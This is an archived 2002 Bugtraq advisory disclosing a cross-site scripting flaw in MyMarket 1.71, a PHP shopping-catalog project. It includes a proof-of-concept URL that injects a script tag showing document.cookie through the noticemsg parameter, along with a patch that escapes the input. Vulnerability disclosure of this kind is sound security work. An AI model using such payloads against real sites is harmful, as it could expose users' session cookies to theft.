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XSS bug in MyMarket 1.71

daemon@ATHENA.MIT.EDU (qber66)
Wed Oct 23 17:12:41 2002

Message-ID: <01b701c259bf$75bf6ba0$397ba8c0@qber66>
From: "qber66" <qber66@pandora.be>
To: <bugtraq@securityfocus.com>
Date: Wed, 11 Sep 2002 20:17:15 +0200
MIME-Version: 1.0
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+----------------------+
| XSS in MyMarket 1.71 |
+----------------------+

Product Description
===================
MyMarket is a fully functional online shopping catalog system, built using
PHP and MySQL. It was created by Ying Zhang for the purpose of teaching
people about the basics of creating an E-Commerce site. It can be found at
http://mymarket.sourceforge.net/


Vulnerable systems
==================
MyMarket 1.71

Exploit
=======
http://[traget]/templates/form_header.php?noticemsg=<Scr*ipt>javascript:aler
t(document.cookie)</Scr*ipt>
(without "*")

Solution
========
put this two lines at the begin of form_header.php

---- form_header.php -----
<?
   $noticemsg = HTMLSpecialChars($noticemsg);
   $errormsg = HTMLSpecialChars($errormsg);
   ...
--------------------------

Vendor response
===============
I submitted this a week ago, the vendor didn't response yet.

------------------------------
Tim Vandermeersch
qber66@pandora.be
http://users.pandora.be/tim/



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